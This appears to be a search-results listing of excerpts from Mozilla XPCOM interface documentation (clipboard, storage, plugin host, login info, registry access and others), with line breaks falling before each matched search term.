fresh_seconds</tt> preference, which indicates the expiration time in seconds.
The Publicity Stream API
the publicity stream is provided as a central place for applications to publicize application usage for the purpose of notifying a user's
friends of the applications which their
friends are using.
...[is this still doable?] the javascript library should be included
from: https://myapps.mozillalabs.com/jsapi/publicity.js all apis related to open web applications are accessed under the navigator.apps object.
... getpublicitystream( onsuccess: <function>, { [ onerror: <function> ], [ for_apps: <list> ], [ since: <date> ], [ before: <date> ], [ count: <int> ]): provides a means for a web store to receive a list of the current user's socially relevant app activity by being called
from an origin which hosts a web store.
... codes include: denied - if the user does not log in correctly permissiondenied - if the site is not allowed to access the publicity stream networkerror - if the publicity server is unreachable for_apps is a json list of apps that this store has (each represented as its origin url), so that stream events not relating to applications in a given presentation context can be excluded
from the return value.
Accessing the Windows Registry Using XPCOM
the desired access rights are specified using a named constant
from the interface, in this example access_read.
...
from javascript, you will want to use the named constants on the interface for this parameter.
... removing registry keys and values to remove child keys and values
from the registry, you can use the removechild() and removevalue() methods.
...ows-registry-key;1"] .createinstance(components.interfaces.nsiwindowsregkey); wrk.open(wrk.root_key_local_machine, "software\\microsoft\\windows\\currentversion", wrk.access_read); wrk.startwatching(false); // only watch the values on this key, not child keys var id = readregistryvalue(wrk, "productid"); /* later you can read this again, and it should come
from the cache unless there have been changes to the registry.
Bundling multiple binary components
if the component uses only "
frozen" xpcom interfaces, there is a good chance the same binary component will work with different versions of gecko (version 1.8 and 1.9, for example).
... the more likely case is that the component uses "un
frozen" interfaces and those interfaces can change between gecko versions.
... possible solutions this article covers two possible ways to make binary components support multiple version of gecko: dynamic method loading stub loader dynamic method loading the idea with this approach is to figure out all the methods imported
from gecko and dynamically load the methods.
...this means using something like loadlibrary / getprocaddress /
freelibrary on windows.
XPCOM hashtable guide
items are found, added, and removed
from the hashtable by using the key.
... inserting/removing: o(n): adding and removing items
from a large array can be time-consuming o(1): adding and removing items
from hashtables is a quick operation wasted space: none: arrays are packed structures, so there is no wasted space.
... hashtables are useful for sets of data that need swift random access; with non-integral keys or non-contiguous integral keys; or where items will be
frequently added or removed.
... there are three key methods, get, put, and remove, which retrieve entries
from the hashtable, write entries into the hashtable, and remove entries
from the hashtable respectively.
Components.utils.cloneInto
wrapreflectors: a boolean value that determines if objects reflected
from c++, such as dom objects, should be cloned.
...example this add-on script creates an object, clones it into the content window and makes it a property of the content window global: // add-on script var addonscriptobject = {"greeting" : "hello
from add-on"}; contentwindow.addonscriptobject = cloneinto(addonscriptobject, contentwindow); scripts running in the page can now access the object: // page script button.addeventlistener("click", function() { console.log(window.addonscriptobject.greeting); // "hello
from add-on" }, false); of course, you don't have to assign the clone to the window itself: you can assign it to some other object in the target scope: contentwindow.foo.addonscriptobject = clon...
...suppose the page script defines a function like this: // page script function foo(greeting) { console.log("they said: " + greeting.message); } the add-on script can define an object, clone it, and pass it into this function: // add-on script var addonscriptobject = {"message" : "hello
from add-on"}; contentwindow.foo(cloneinto(addonscriptobject, contentwindow)); // "they said: hello
from add-on" cloning objects that have functions if the object to be cloned contains functions, you must pass the {clonefunctions:true} flag or you'll get an error.
... if you do pass this flag, then functions in the object are cloned using the same mechanism as that used in components.utils.exportfunction: // add-on script var addonscriptobject = { greetme: function() { alert("hello
from add-on"); } }; contentwindow.addonscriptobject = cloneinto(addonscriptobject, contentwindow, {clonefunctions: true}); // page script var test = document.getelementbyid("test"); test.addeventlistener("click", function() { window.addonscriptobject.greetme(); }, false); cloning objects that contain dom elements by default, if the object you clone contains objects that are reflected
from c++, such as dom elements, the cloning operation will fail with an error.
IAccessibleText
1.0 66 introduced gecko 1.9 inherits
from: iunknown last changed in gecko 1.9 (firefox 3) this enum defines values which specify a text() boundary type.
...servers should document their life cycle strategy as this will be of interest to assistive technology or script engines accessing data out of process or
from other threads.
...servers should document their life cycle strategy as this will be of interest to assistive technology or script engines accessing data out of process or
from other threads.
...when the new caret position differs
from the old one (which, of course, is the standard case) this is notified to the accessibility event listeners with an ::ia2_event_text_caret_moved event.
imgIContainerObserver
1.0 66 introduced gecko 1.7 inherits
from: nsisupports last changed in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) if you wish to listen for activities on an imgicontainer, you should implement the
framechanged() method.
... method overview void
framechanged(in imgirequest arequest, in imgicontainer acontainer, [const] in nsintrect adirtyrect); native code only!
... methods native code only!
framechanged called when the
frame for an image container has changed.
... void
framechanged( in imgirequest arequest, in imgicontainer acontainer, [const] in nsintrect adirtyrect ); parameters arequest the image request for which the change occurred.
mozIStorageConnection
1.0 68 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for a general overview on how to use this interface, see storage.
... lastinsertrowid long long the row id
from the last sql insert operation.
...it loads pages
from the start of the database file until the memory cache (specified by "pragma cache_size=") is full or the entire file is read.
...this helps avoid disk
fragmentation by letting you help sqlite make intelligent decisions about resizing of the file.
nsIAccessibilityService
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits
from: nsiaccessibleretrieval method overview nsiaccessible createouterdocaccessible(in nsidomnode anode); nsiaccessible createrootaccessible(in nsipresshell ashell, in nsidocument adocument); nsiaccessible createhtml4buttonaccessible(in nsisupports a
frame); nsiaccessible createhypertextaccessible(in nsisupports a
frame); nsiaccessible createhtmlbraccessible(in nsisupports a
frame); nsiaccessible createhtmlbuttonaccessible(in nsisupports a
frame); nsiaccessible createhtmlaccessiblebymarkup(in nsi
frame a
frame, in nsiweakreference aweakshell, in nsidomnode adomnode); nsiaccessible...
... createhtmlliaccessible(in nsisupports a
frame, in nsisupports abullet
frame, in astring abullettext); nsiaccessible createhtmlcheckboxaccessible(in nsisupports a
frame); nsiaccessible createhtmlcomboboxaccessible(in nsidomnode anode, in nsiweakreference apresshell); nsiaccessible createhtmlgenericaccessible(in nsisupports a
frame); nsiaccessible createhtmlgenericaccessible(in nsisupports a
frame); nsiaccessible createhtmlhraccessible(in nsisupports a
frame); nsiaccessible createhtmlimageaccessible(in nsisupports a
frame); nsiaccessible createhtmllabelaccessible(in nsisupports a
frame); nsiaccessible createhtmllabelaccessible(in nsidomnode anode, in nsiweakreference apresshell); nsiaccessible createhtmlobject
frameaccessible(in nsobject
frame a
frame); nsiaccessible create...
...htmlradiobuttonaccessible(in nsisupports a
frame); nsiaccessible createhtmlselectoptionaccessible(in nsidomnode anode, in nsiaccessible aaccparent, in nsiweakreference apresshell); nsiaccessible createhtmltableaccessible(in nsisupports a
frame); nsiaccessible createhtmltablecellaccessible(in nsisupports a
frame); nsiaccessible createhtmltableheadaccessible(in nsidomnode adomnode); nsiaccessible createhtmltextaccessible(in nsisupports a
frame); nsiaccessible createhtmltextfieldaccessible(in nsisupports a
frame); nsiaccessible createhtmlcaptionaccessible(in nsisupports a
frame); nsiaccessible getaccessible(in nsidomnode anode, in nsipresshell apresshell, in nsiweakreference aweakshell, inout nsi
frame
framehint, out boolean aishidden); nsiaccessible addnativerootaccessible(...
... <tt>aevent</tt> the event
from nsiaccessibleevent that caused the change.
nsIAccessibleEditableText
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void copytext(in long startpos, in long endpos); void cuttext(in long startpos, in long endpos); void deletetext(in long startpos, in long endpos); void inserttext(in astring text, in long position); void pastetext(in long position); void setattributes(in long startpos, in...
... pastetext() pastes text
from the clipboard.
... void pastetext( in long position ); parameters position the offset at which to insert the text
from the system clipboard into the text represented by this object.
... exceptions thrown ns_error_failure indicates the text cannot be pasted
from the clipboard.
nsIAccessibleTreeCache
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits
from: nsisupports method overview nsiaccessible getcachedtreeitemaccessible(in long arow, in nsitreecolumn acolumn); void invalidatecache(in long arow, in long acount); void treeviewchanged(); void treeviewinvalidated(in long astartrow, in long aendrow, in long astartcol, in long aendcol); methods getcachedtreeitemaccessible() returns the tree item
from the cache for the cell in the s...
...void invalidatecache( in long arow, in long acount ); parameters arow row index the invalidation starts
from.
...void treeviewinvalidated( in long astartrow, in long aendrow, in long astartcol, in long aendcol ); parameters astartrow row index invalidation starts
from.
...astartcol column index invalidation starts
from.
nsIAlertsService
1.0 66 introduced gecko 1.7 inherits
from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) by default a message is displayed in a small window that slides up
from the bottom of the screen, holds there for a few seconds, then slides down.
... the specific appearance varies
from platform to platform.
... note: if you are calling this function
from javascript, you should wrap it in a try/catch because it can fail on mac os x prior to firefox 22.
... alertlistener optional an object to receive callbacks
from the alert; may be null if you don't care about callbacks.
nsIAppShell
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void create(inout int argc, inout string argv); obsolete since gecko 1.9 void dispatchnativeevent(in prbool arealevent, in voidptr aevent); obsolete since gecko 1.9 void exit(); void favorperformancehint(in boolean favorperfoverstarvation, in unsigned long starvationdelay); void getnativeevent(in prboolref arealevent, in voidptrref aevent); obsolete since gecko 1.9 void listentoeventqueue(in nsieventqueue aqueue, in prbool alisten); obsolete since gecko 1.9 void resumenative(); void r...
...when the number of calls that pass pr_true is subtracted
from the number of calls that pass pr_false is greater than 0, performance is given precedence over preventing event starvation.
...hook or unhook it
from your system, as necessary.
...does not (in itself) stop gecko events
from being processed on the main application thread.
nsIAppShellService
inherits
from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: @mozilla.org/appshell/appshellservice;1 as a service: var appshellservice = components.classes["@mozilla.org/appshell/appshellservice;1"] .getservice(components.interfaces.nsiappshellservice); method overview void closetoplevelwindow(in nsixulwindow awindow); obsolete since gecko 1.8 void createhiddenwindow(in nsiappshell aappshell); native code only!
... void ensure1window( in nsicmdlineservice acmdlineservice ); parameters acmdlineservice the command line
from which startup args can be read.
...if the browser is exited, this windowless browser will not prevent firefox
from exiting.
... unregistertoplevelwindow() remove a window
from the application's window registry.
nsIAppStartup
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/toolkit/app-startup;1.
... void ensure1window( in nsicmdlineservice acmdlineservice ); parameters acmdlineservice the command line
from which startup args can be read.
... getstartupinfo() returns a javascript object with events
from startup and the timestamps indicating when they occurred.
... void quit( in pruint32 amode ); parameters amode this parameter modifies how the application is shutdown, and it is constructed
from the constants defined above.
nsIApplicationCacheNamespace
1.0 66 introduced gecko 1.9.1 inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) application caches can store a set of namespace entries that affect loads
from the application cache.
... if a load
from the cache fails to match on an exact cache entry, the namespace entries are searched for a substring match.
... constants constant value description namespace_bypass 1 items matching this namespace can be fetched
from the network when loading
from this cache.
... namespace_fallback 2 items matching this namespace can be fetched
from the network when loading
from this cache; however, if the load fails, the cache entry specified by the data attribute should be loaded intstead.
nsIBlocklistService
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 29 (firefox 29 / thunderbird 29 / seamonkey 2.26) method overview unsigned long getaddonblockliststate(in jsval addon, [optional] in astring appversion, [optional] in astring toolkitversion); unsigned long getpluginblockliststate(in nsiplugintag plugin, [optional] in astring appversion, [optional] in astring toolkitversion); boolean isaddonblocklisted(in jsval addon, [optional] in astring appversion, [optional] in astring toolkitversion); constants constant value description state_not_blocked 0 state_softblocked 1 ...
...boolean isaddonblocklisted( in jsval addon, in astring appversion, optional
from gecko 1.9.1 in astring toolkitversion optional
from gecko 1.9.1 ); parameters addon the addon object to be checked.
... appversion optional
from gecko 1.9.1 the version of the application we are checking in the blocklist.
... toolkitversion optional
from gecko 1.9.1 the version of the toolkit we are checking in the blocklist.
nsICacheEntryDescriptor
inherits
from: nsicacheentryinfo last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void close(); void doom(); void doomandfailpendingrequests(in nsresult status); string getmetadataelement(in string key); void markvalid(); nsiinputstream openinputstream(in unsigned long offset); nsioutputstream openoutputstream(in unsigned long offset); void setdatasize(in unsigned long size); void setexpirationtime(in pruint32 expirationtime); void setmetadataelement(in string key, in string value); void visitmetadata(in nsicachemetadatavisitor visitor); attributes attribute type description accessgranted nscacheaccessmode g...
...checked before we write to the cache entry, to prevent ever taking up space in the cache for an entry that we know up
front is going to have to be evicted anyway.
...nsiinputstream openinputstream( in unsigned long offset ); parameters offset read starting
from this offset into the cached data.
...nsioutputstream openoutputstream( in unsigned long offset ); parameters offset write starting
from this offset into the cached data.
nsIClipboard
inherits
from: nsisupports last changed in gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27) method overview void emptyclipboard(in long awhichclipboard); void forcedatatoclipboard(in long awhichclipboard); obsolete since gecko 1.8 void getdata(in nsitransferable atransferable, in long awhichclipboard); boolean hasdatamatchingflavors([array, size_is(alength)] in string aflavorlist, in unsigned long alength, in long awhichclipboard); void setdata(in nsitransferable atransferable, in nsiclipboardowner anowner, in long awhichclipboard); boolean suppor...
... getdata() this method retrieves data
from the clipboard into a transferable.
... void getdata( in nsitransferable atransferable, in long awhichclipboard ); parameters atransferable the transferable to receive data
from the clipboard.
... setdata() this method sets the data
from a transferable on the native clipboard.
nsIClipboardDragDropHooks
use this to do things such as prevent a drag
from starting, adding or removing data and flavors, or preventing the drop.
... inherits
from: nsisupports last changed in gecko 1.7 embedders who want to have these hooks made available should implement nsiclipboarddragdrophooks and use the command manager to send the appropriate commands with these parameters/settings: command: cmd_clipboarddragdrophook params value type possible values "addhook" isupports nsiclipboarddragdrophooks as nsisupports "removehook" isupports nsiclipboarddragdrophooks as nsisupports note: overrides/hooks need to be added to each window (as appropriate).
...session the drag session
from which client can get the flavors present or the actual data.
...allowstartdrag() prevents the drag
from starting.
nsICollection
inherits
from: nsiserializable last changed in gecko 1.7 method overview void appendelement(in nsisupports item); void clear(); pruint32 count(); nsienumerator enumerate(); nsisupports getelementat(in pruint32 index); void queryelementat(in pruint32 index, in nsiidref uuid, [iid_is(uuid),retval] out nsqiresult result); void removeelement(in nsisupports item); void setelementat(in pruint32 index, in nsisupports item); methods appendelement() appends a new item to the collection.
... clear() removes all items
from the collection.
... removeelement() removes an item
from the collection.
... void removeelement( in nsisupports item ); parameters item nsisupports item to be removed
from the list.
nsIControllers
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is used to manage instances of the nsicontroller interface.
... exceptions thrown ns_error_out_of_memory removecontroller() removes a controller
from the list of controllers.
... void removecontroller( in nsicontroller controller ); parameters controller the controller to be removed
from the list.
... removecontrollerat() removes a controller
from the list of controllers.
nsIDBFolderInfo
nsidbfolderinfo - careful, pulled
from the wrong (cvs) repo!
... inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: ?????????????????????????????????????.
...obsolete since gecko 1.8 astring getproperty(in string propertyname); nsidbfolderinfo gettransferinfo(); unsigned long getuint32property(in string propertyname, in unsigned long defaultvalue); void init
fromtransferinfo(in nsidbfolderinfo transferinfo); long orflags(in long flags); void setbooleanproperty(in string propertyname, in boolean apropertyvalue); void setcharacterset(in string charset); void setcharactersetoverride(in boolean charactersetoverride); obsolete since gecko 1.8 void setcharptrproperty(in string apr...
...eptions thrown missing exception missing description getuint32property() unsigned long getuint32property( in string propertyname, in unsigned long defaultvalue ); parameters propertyname missing description defaultvalue missing description return value missing description exceptions thrown missing exception missing description init
fromtransferinfo() void init
fromtransferinfo( in nsidbfolderinfo transferinfo ); parameters transferinfo missing description exceptions thrown missing exception missing description orflags() long orflags( in long flags ); parameters flags missing description return value missing description exceptions thrown missing exception missi...
nsIDOMEvent
inherits
from: nsisupports last changed in gecko 16.0 (firefox 16.0 / thunderbird 16.0 / seamonkey 2.13) note: as of gecko 16.0, the nsiprivatedomevent interface was merged into this interface.
....explicitoriginaltarget differs
from .originaltarget in that it will never contain anonymous content.
...if called
from a subclass of event interface only the values specified in the initevent method are modified, all other attributes are left unchanged.
...erialize( in ipcmessageptr amsg, in boolean aserializeinterfacetype ); parameters amsg aserializeinterfacetype native code only!settarget void settarget( in nsidomeventtarget atarget ); parameters atarget native code only!settrusted void settrusted( in boolean atrusted ); parameters atrusted stopimmediatepropagation() prevents other event listeners
from being triggered and, unlike stoppropagation() its effect is immediate.
nsIDOMStorage
1.0 66 introduced gecko 1.8.1 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) a dom window's session storage object can be retrieved
from the window's sessionstorage attribute.
...getitem() returns
from session storage the data corresponding to the specified key.
... removeitem() given a key, removes the corresponding entry
from the session store.
... void removeitem( in domstring key ); parameters key the key for which data should be removed
from storage.
nsIDragService
inherits
from: nsisupports last changed in gecko 43 (firefox 43 / thunderbird 43 / seamonkey 2.40) note: using this interface directly
from add-on code is deprecated.
...this is available only
from native code since gecko 43.
...if aimage is null, aimagex and aimagey are not used and the image is instead determined
from the source node adomnode, and the offset calculated so that the initial location for the image appears in the same screen position as where the element is located.
...if this is an html <image> or <canvas> element, the drag image is taken
from the image data.
nsIDragSession
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void getdata( in nsitransferable atransferable, in unsigned long aitemindex ); boolean isdataflavorsupported( in string adataflavor ); attributes attribute type description candrop boolean set the current state of the drag, whether it can be dropped or not.
... usually the target "
frame" sets this so the native system can render the correct feedback.
...it will contain the current size of the
frame that the drag is currently in.
... methods getdata() gets data
from a drag and drop operation.
nsIDroppedLinkHandler
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean candroplink(in nsidomdragevent aevent, in prbool aallowsamedocument); astring droplink(in nsidomdragevent aevent, out astring aname, [optional] in boolean adisallowinherit); void droplinks(in nsidomdragevent aevent, [optional] in boolean adisallowinherit, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsidroppedlinkitem alinks); methods candroplink() determines if a link being dragged can be dropped.
... aallowsamedocument if false, drops are only allowed if the document of the source of the drag is different
from the destination.
... this check includes any parent, sibling and child
frames in the same content tree.
...this prevents a source document
from tricking the user into a dragging a chrome url for example.
nsIEditor
66 introduced gecko 1.0 inherits
from: nsisupports last changed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) method overview [noscript] void init(in nsidomdocument doc, in nsicontent aroot, in nsiselectioncontroller aselcon, in unsigned long aflags); void setattributeorequivalent(in nsidomelement element, in astring sourceattrname, in astring sourceattrvalue, in boolean asuppresstransaction); void removeattributeorequivalent(in nsidomelement element, in domstring sourceattrname, in boolean asuppresstransaction); void postcreate(); void predestroy(in boolean adestroying
frames...
...void copy(); boolean cancopy(); void paste(in long aselectiontype); boolean canpaste(in long aselectiontype); selection methods void selectall(); void beginningofdocument(); void endofdocument(); drag/drop methods boolean candrag(in nsidomevent aevent); void dodrag(in nsidomevent aevent); void insert
fromdrop(in nsidomevent aevent); node manipulation methods void setattribute(in nsidomelement aelement, in astring attributestr,in astring attvalue); boolean getattributevalue(in nsidomelement aelement, in astring attributestr, out astring resultvalue); void removeattribute(in nsidomelement aelement, in astring aattribute); void cloneattribute(in astring ...
...se/public/nsidocumentencoder.idl // outputselectiononly = 1, outputformatted = 2, // outputraw = 4, outputbodyonly = 8, // outputpreformatted = 16, outputwrap = 32, // outputformatflowed = 64, outputabsolutelinks = 258, // outputencodew3centities = 256, outputcrlinebreak = 512, // outputlflinebreak = 1024, outputnoscriptcontent = 2048, // outputno
framescontent = 4096, outputnoformattinginpre = 8192, // outputencodebasicentities=16384, outputencodelatin1entities=32768, // outputencodehtmlentities=65536, outputpersistnbsp=131072 editorapi.outputtostring('text/html', 2); editorapi.outputtostring('text/plain', 4); // output the body tag, body children and the html end tag (</html>).
... aroot the root of the editable section of this document; if it's null, the editor gets its root
from document.body.
nsIErrorService
inherits
from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/xpcom/error-service;1 method overview string geterrorstringbundle(in short errormodule); string geterrorstringbundlekey(in nsresult error); void registererrorstringbundle(in short errormodule, in string stringbundleurl); void registererrorstringbundlekey(in nsresult error, in string stringbundlekey); void unregistererrorstringbundle(in short errormodule); void unregistererrorstringbundlekey(in nsresult err...
...error modules are obtained
from nsresult code with ns_error_get_module.
... return value the key to use to retrieve the error string
from the nsresult's module's string bundle.
... stringbundlekey the key that should be used to retrieve the error string
from string bundle for the given nsresult.
nsIEventTarget
events may be sent to this target
from any thread by calling the dispatch method.
... implement this interface in order to support receiving events
from other threads.
... 1.0 66 introduced gecko 1.6 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void dispatch(in nsirunnable event, in unsigned long flags); boolean isoncurrentthread(); void postevent(in pleventptr aevent); native code only!
...this function may be called
from any thread, and it may be called re-entrantly.
nsIFileStreams
the nsifilestreams interface is an input stream that allows you to read
from a file.
... last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants constants value description delete_on_close 1<<1 if this is set, the file will be deleted by the time the stream is closed.
... it may be removed before the stream is closed if it is possible to delete it and still read
from it.
...(the file will only be reopened if it is closed for some reason.) methods init() void init( in nsifile file, in long ioflags, in long perm, in long behaviorflags ); parameters file file to read
from (must qi to nsilocalfile).
nsIHttpServer
fallback * will never occur
from a user-provided handler that throws to the same * handler as provided by the server, e.g.
... * * @param path * the absolute path on the server against which requests will be served *
from dir (e.g., "/", "/foo/", etc.); must begin and end with a forward * slash * @param dir * the directory to be used to serve all requests for paths underneath path * (except those further overridden by another, deeper path registered with * another directory); if null, any current mapping for the given path is * removed * @throws ns_error_invalid_arg * if dir i...
... * @note * implementations may treat type as a trusted argument; users who fail to * generate this string
from trusted data risk security vulnerabilities.
... an nsifile corresponding to the * directory is available
from the metadata object passed to the * handler, under the key "directory".
nsILoginInfo
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits
from: nsisupports implemented by: @mozilla.org/login-manager/logininfo;1.
...for logins obtained
from html forms, this field is the action attribute
from the form element, with the path removed (for example, "https://www.site.com").
...this field is null for logins attained
from protocol authentications and "" means to match against any form action.
...for logins obtained
from html forms, this field is null.
nsIMemoryReporter
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) any piece of code that wishes to allow its memory use to be monitored may create an nsimemoryreporter object and then register it by calling nsimemoryreportermanager.registerreporter().
...when a reporter
from a child process is copied into the main process, the copy's process field is set appropriately.
... units_percentage 3 the amount contains a
fraction that should be expressed as a percentage.
...this allows a
fractional percentage to be shown even though amount is an integer.
nsIMessageBroadcaster
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits
from: nsimessagelistenermanager message "broadcasters" don't have a single "other side" that they send messages to, but rather a set of subordinate message managers.
... for example, broadcasting a message through a window message manager will broadcast the message to all
frame message managers within its window.
... for example, we will throw ns_error_not_initialized if we try to send a message to a cross-process
frame but the other process has not yet been set up.
... for example, we will throw ns_error_failure if we try to send a message to a cross-process
frame whose process has crashed.
nsIMessageListenerManager
1.0 66 introduced gecko 17 inherits
from: nsisupports last changed in gecko 41 (firefox 41 / thunderbird 41 / seamonkey 2.38) implemented by: @mozilla.org/globalmessagemanager;1.
... listenwhenclosed specify true to receive messages during the short period after a
frame has been removed
from the dom and before its
frame script has finished unloading; this is false by default.
... this parameter only has an effect for
frame message managers in the main process.
... an alternative method to listen for death of
frame script is to use a message-manager-disconnect observer; see observer notifications :: message manager.
nsIMsgHeaderParser
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) to create an instance, use: var msgheaderparser = components.classes["@mozilla.org/messenger/headerparser;1"] .createinstance(components.interfaces.nsimsgheaderparser); method overview string extractheaderaddressmailboxes(in string line); void extractheaderaddressname(in string line, out string name); void extractheaderaddressnames(in string line, out string usernames); astring makefulladdress(in astring aname, in astring aaddress); string makefulladdress...
... it is up to the caller to
free them.
... removealiasestome allows the address parser to use the preference which contains regular expressions which also mean 'me' for the purpose of stripping the user's email address(es) out of addrs string removeduplicateaddresses( in string addrs, in string other_addrs, in prbool removealiasestome ); parameters addrs the addresses to remove duplicates
from.
... preserveintegrity set to true, quote will not be removed return value user
friendly names exceptions thrown missing exception missing description unquotephraseoraddrwstring() this function removes the quoting if you want to show the names to users.
nsINavHistoryResultTreeViewer
1.0 66 introduced gecko 1.8 inherits
from: nsinavhistoryresultobserver last changed in gecko 1.9 (firefox 3) this object removes itself
from the associated result when the tree is detached; this prevents circular references.
...this prevents you
from seeing multiple entries for things when you have selected to get visits.
...changing this value is somewhat heavyweight since it will force a tree re
fresh.
...this must be a node retrieved
from the same result that the viewer displays.
nsIPluginHost
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsifile createtempfiletopost(in string apostdataurl); native code only!
...the caller is required to
free the resulting memory with nsimalloc.
free().
...it will *always malloc()* output buffer (caller is responsible to
free it) if input buffer starts with lf, which comes
from 4.x spec http://developer.netscape.com/docs/manuals/communicator/plugin/pgfn2.htm#1007754 "if no custom headers are required, simply add a blank line ('\n') to the beginning of the file or buffer.", it skips that '\n' and considers rest of the input buffer as data.
... for (let i = 0; i < plugintags.length; ++i) { let plugintag = plugintags[i]; let mimetypes = plugintag.getmimetypes(); console.warn('plugintag:', plugintag.name, 'mimetypes:', mimetypes); // go through all the mime types and get the handler service for (let j = 0; j < mimetypes.length; ++j) { let type = mimetypes[j]; let wrappedhandlerinfo = mimeservice.get
fromtypeandextension(type, null); console.log('handler info for type', type, wrappedhandlerinfo); } } resultingagentstring ...
nsIPrincipal
inherits
from: nsiserializable last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for details on principals, how they work, and how to get the appropriate one, see security check basics.
...note that this may be empty; prefer to get the certificate itself and get this information
from it, since that may provide more information.
...this means that codebase principals are only allowed to load resources
from the same domain, the system principal is allowed to load anything, and null principals are not allowed to load anything.
...this may change in a future release; note that nsiprincipal is un
frozen, not slated to be
frozen.
nsIProperties
inherits
from: nsisupports last changed in gecko 1.2 implemented by: @mozilla.org/file/directory_service;1.
...nsmemory.h defines the macro ns_
free_xpcom_allocated_pointer_array, which can be used to
free akeys when it is no longer needed.
... remarks this interface was
frozen for gecko 1.2.
...
from gecko 2.0 interfaces are no longer
frozen.
nsIPushSubscription
inherits
from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) each subscription is associated with a unique url generated by the push service.
... this interface resembles pushsubscription
from the push api.
...when called
from javascript, nsipushsubscription.getkey() only takes name as a parameter, and returns key.
... key: string.
fromcharcode.apply(null, btoa(subscription.getkey("p256dh"))), secret: string.
fromcharcode.apply(null, btoa(subscription.getkey("auth"))), })); } pushservice.subscribe( "chrome://my-module/push", scriptsecuritymanager.getsystemprincipal(), (code, subscription) => { if (!components.issuccesscode(code)) { cu.reporterror("error creating subscription: " + code); } else { ...
nsISocketTransport
inherits
from: nsitransport last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note: connection setup is triggered by opening an input or output stream, it does not start on its own.
... securityinfo nsisupports security info object returned
from the secure socket provider.
... status_connecting_to 0x804b0007 status_connected_to 0x804b0004 status_sending_to 0x804b0005 status_waiting_for 0x804b000a status_receiving_
from 0x804b0006 connection flags values for the connectionflags attribute constant value description bypass_cache 0 when making a new connection bypass_cache will force the necko dns cache entry to be re
freshed with a new call to nspr if it is set before opening the new stream.
... remarks this is a
free-threaded interface, meaning that the methods on this interface may be called
from any thread.
nsISocketTransportService
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/socket-transport-service;1.
... note: this function may only be called
from an event dispatch on the socket thread.
... note: this function can be called
from any thread.
... note: this function may only be called
from an event dispatch on the socket thread.
nsIStringBundleOverride
inherits
from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/intl/stringbundle/text-override;1.
...method overview nsisimpleenumerator enumeratekeysinbundle(in autf8string url); astring getstring
fromname(in autf8string url, in acstring key); methods enumeratekeysinbundle() get all override keys for a given string bundle.
...getstring
fromname() get the override value for a particular key in a particular string bundle.
... astring getstring
fromname( in autf8string url, in acstring key ); parameters url the url of the original string bundle whose keys are to be overridden.
nsISyncMessageSender
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits
from: nsimessagelistenermanager message "senders" have a single "other side" to which messages are sent.
... returns an array containing return values
from each listener invoked.
... for example, we will throw ns_error_not_initialized if we try to send a message to a cross-process
frame but the other process has not yet been set up.
... for example, we will throw ns_error_failure if we try to send a message to a cross-process
frame whose process has crashed.
nsITaggingService
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/browser/tagging-service;1.
... untaguri() this method removes tags
from a uri.
... tags
from atags which are not set for the given uri are ignored.
...pass null to remove all tags
from the given uri.
nsITaskbarWindowPreview
1.0 66 introduced gecko 1.9.2 inherits
from: nsitaskbarpreview last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate this interface; instead, call nsiwintaskbar.gettaskbarwindowpreview() to get the taskbar preview for a specific window.
...when made invisible, the window disappears
from the list of the application's windows in the taskbar.
...there is existing in
frastructure in place to let clients handle those events.
... methods getbutton() returns the specified button
from the preview's toolbar.
nsIURI
inherits
